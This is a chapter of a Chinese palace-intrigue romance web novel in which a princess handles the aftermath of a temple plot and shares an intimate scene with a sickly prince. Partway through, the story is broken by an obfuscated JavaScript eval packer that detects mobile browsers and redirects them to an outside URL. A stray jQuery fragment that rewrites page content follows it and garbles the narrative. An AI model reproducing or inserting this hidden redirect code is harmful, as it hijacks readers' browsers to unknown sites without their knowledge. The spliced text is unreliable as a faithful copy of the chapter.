“公主殿下,方丈等人已全部捕获,但之前六公主身边的那婢女不见踪影。”
谢舟夕陈述完之后,微微抬眸试探这位公主的反应,后者仅是平淡地回应一声,没有多大的情绪起伏。
让其退下以示结束。
或者说,此次灵安寺一变,对她并未造成什么阴影,与之相反的是六公主反倒鬼上身般时时刻刻黏着黎醉。
“我且问你,那玉枝是何方人士?”
黎醉面色不悦地看向黎南凝,皱眉头疼。
“你说她啊?说起来还与你挺有缘分。”
黎南凝伤势过重,不便迅速启程,明日回洛都仅是谢舟夕先行离去,裴清酌明日应一道。
此刻两姐妹坐于床榻之上,闺中谈心算不上,黎醉只好接过姚青递来的果盘,一点点地喂给她。
这家伙现在只能躺着,却依旧身残力坚般用手拽住黎醉。
黎醉兴致索然:“此话怎讲?”
“她是含笑楼带回来的,年幼与我一起,宫中嬷嬷对她照顾有加,这小丫头骗子胆大包天,总说话激我,小时候多少麻烦事都是她怂恿我的!”
黎南凝言语坚定,仿佛站在一侧的受害者,极其委屈。
含笑楼人士,又是自小,掌柜早已逃至茫茫人海,算起时日,老鸨和楼里其他伶人也该出来了。
此事一过,若是那丫头是二皇子的人,此刻定然回洛都报信,黎醉在旁人装傻模样可就再难演下去。
现在装傻充愣是最好的法子,黎醉和姚青视线相对那一刻,彼此了然心中想法。
姚青沉声颔首道:“我先行回洛都,堵住此人,路途遥远,此人跑不远。”
黎醉:“好。”
“皓曦你怎么不理我啊?是不是我之前太过分了,等我回宫中,定为你寻来天下奇珍异宝,逗你开心,别生气了嘛。我错了。”
黎南凝一只手紧抓住黎醉指腹,左右摇晃,后者似是顿悟,似笑非笑:“你说让我原谅你,可我不相信你,你在我这里可信度无,不如你为我攀灵安寺桂花树的顶梢花瓣,为我泡些花茶,最好是清晨雨露做引。”
果不其然,黎南凝的手渐渐松开,头也萎靡地低下,似是退后犹豫后准备放弃。
黎醉摇摇头,无奈笑笑,这才是黎南凝的性子。
也不知经此一役,事后变局会如何,虽说当时穿了防护甲,却也耐不住铁棒锤击,黎醉吃痛起身离开屋内。
灵安寺是大黎开国之君设立的,禅院外菩提树缀秋日红果,霜染鼻尖意,寒意涌上心头,不远处的少年衣袂轻扬,一人一景,一花一世界,恰好相映成趣。
裴清酌想必也对此地十分厌恶或又是回忆,不知当年那个小孩,是否还记得幼时那场相遇。
灵安寺方丈常年收留山外孤童,也不知他是如何逃脱其囚笼,奔走盛国,又或者他本来就是盛国人呢?
二哥宗亲,八竿子打不着的关系却被封为王来到盛国和亲,却又是话本子的常客,思来想去,黎醉到底还是不了解此人。
既然恰巧遇到,不妨打声招呼?
“长乐公主。”裴清酌先声夺人,骤然转身行礼。
黎醉恍惚:“你似乎是在等我?”
“是。”裴清酌低头行礼。
关系似乎又如往日般冷漠,之前那些浑浑噩噩的苟且,似乎仅有一根份合作关系维持。
接着,裴清酌递来一个木匣,小巧精致,乍一看以为是个放匕首的工具,在他的调试下,其中暗格图案繁杂,却在每个不同的位置都弹出来不同的盒子。
现下,骨节分明、肤如凝脂的手递来木匣,黎醉顿了顿,乖巧接过。
“这是二皇子与盛国交往的暗格,地点在洛都酒肆,与一个名叫秋衣的女子交换信件。”
如果放在之前,黎醉还会担心可信度,可灵安寺一捷,她得以全身而退,多亏裴清酌提前告知,黎醉布局后才能退居其后,不至于牵扯大祸。
今日裴清酌不似往日素雅偏黑,整个人色彩荒芜,反倒穿了绯色长袍,高尾紧扎,整个人风度翩翩,恍如尘世中不染俗世的璞玉。
“你的伤如何了?”
二人不约而同异口同声道。
又是一道:“不妨事。”
黎醉清了清嗓子眼,眉色冷淡,语气冰冷:“之前你曾说你因解药与我二哥合作,交换信件,现在你将这物什交予我,可是解药已然寻到,又或者说你为何向他寻解药。”
“你知道的,我这个人没有耐心,若是你不认真说与我听,也无伤大雅,但你我二人之间,再难谈情意。”
裴清酌身形高大,却又因为太过病弱的原因,显得身影单薄,二人一高一低,却在阵阵凛冽风中,为黎醉挡下寒风交拢。
裴清酌久违地露出笑意:“长乐公主,既是合作伙伴,就应该用好我这把剑,至于剑坏与否,到头来不过是回炉重造或又是弃之如废铁而已。我与谢大人尚有一叙,不再打扰公主。”
怎地倏然之间褪得干净如白纸,似如前世般的裴清酌,永远爱答不理,冷漠示人。
唯一不同的是,裴清酌笑了。
黎醉叫住即将远行离去的裴清酌:“世子殿下。”
后者停下,却不曾转身正面她,黎醉就这么看向那坚挺的背影,带有无赖与威胁般质问:“你的生死由我定,这件事你可认?”
裴清酌胸腔内扯出笑意,似乎得了风寒般轻咳嗽,却又急忙止住:“我认。”
“若是我无聊想要寻个面首,你模样生得这般好,可任我玩弄?”
黎醉为自己的无理取闹捏了一把汗,但又耍无赖般循循善诱。
裴清酌这个人直接问,他是不会如实相告的,黎醉摸清这他就是个木讷不知趣的愚人,准确来说,只对黎醉愚。
前世今生,桩桩件件,黎醉都要弄清楚。
不知是风声压住心渊之眼,良久,裴清酌铅灰色的眼眸渗出红意,哑声:“好啊。”
黎醉顿住,如此虎狼之词怎能这般荒唐答应。
只要是她,他都接受。
裴清酌这一生过得浑浑噩噩,不曾有过自己的主导权,可就是这样,无法护住自己心爱的人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125216|196035||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无权无势,棋子走局不走心。
这一瞬,裴清酌犹如寒潭深渊,整个人似无根浮萍却又极力拉住那束藤条,哀怨般求饶。
黎醉捕捉到那一丝情绪,走过他身旁,主动牵住手:“那既如此,陪我去灵安寺外面走走。”
黎醉本就是个浑身热烘烘的人,这不牵还好,一牵吓得缩手,却又镇定道:“你不开心,是因为我为你谈一桩美好婚事?”
“是我有错在先。”
裴清酌未及对上一个问题做出回答,紧接着就被人一双小手拉起往外院走,甚至可以说是几近跑。
黎醉本就会武,好久不曾施展身手,一下带人连飞过墙,尤其还是那么个大人。
没按准力度,就在翻倒墙围之际,裴清酌揽过她纤细的腰鼓,黎醉被迫贴在他坚实有力的怀内,淡淡栀子花香扑鼻,沁人心脾。
黎醉杏眸闪闪发光,提溜一转,一股怀意涌上心头,不妨再大胆些。
紧接着,黎醉鬼鬼祟祟在落地之时,踮起脚尖,对着裴清酌的眼角一亲,后者眼神闪躲,虽说之前有过更大胆的举动,可正是不经意间的触碰牵拉着人往更深处的地方想。
波涛汹涌,一浪又一浪。
“长乐公主,附近恐怕有人,如此举动,会影响你的名声,毕竟你之后回洛都择驸马,很不好。”
裴清酌一只手捂住被她亲过的眼角,一丝不苟,从容不迫道。
黎醉:“……”
这对吗?
“你为何捂住眼角,那里是有什么?”
黎醉步步逼近,墙角泥泞不断,却在她的压迫下,裴清酌退无可退,单手撑住朱墙,恰与这身绯色长袍相映。
裴清酌摇头,试图正色:“我们去附近走走。”
“念安,你似乎会武,而且要是我——”
说时迟,那时快,黎醉小手捧起裴清酌的脸,眼神真挚地看向他,视线掠过那红润的薄唇,随后早有预谋般亲了那露出同样绯色的耳垂。
黎醉今日堪比那酒楼风骚放荡客,看向裴清酌的眼神犹如猎物般,带着吞噬与侵入,势不可挡,一气呵成。
都这么招惹你了,怎么如此能忍。
这不对劲啊!
裴清酌低头愣神,独留黎醉一人左右来回踱步,这似乎哪里不对。
不会……
骤然,一股强劲有力的手将黎醉拽入怀内,二者换位,力量相差极大,她动弹不得半分,却丝毫不为接下来发生的事害怕。
因为该释放了。
黎醉先一步吻上裴清酌的唇瓣,相较于前几次的生疏,此刻的她游刃有余地翕动,一张一合间,脸蛋不知何时通红不已,粗喘地垂在裴清酌肩间呼吸。
随之而来的是裴清酌的回应,很慢却又步步引诱,直至黎醉站不稳,跌在裴清酌怀内。
“你这人好没意思,明明那么喜欢本公主。”黎醉拖着疲惫不堪的身子说道。
“可是皓曦,你让我与他人成就婚事,我很不喜。”
裴清酌再次翻涌而来,血腥味弥漫其间,却又深长而令人欲罢不能。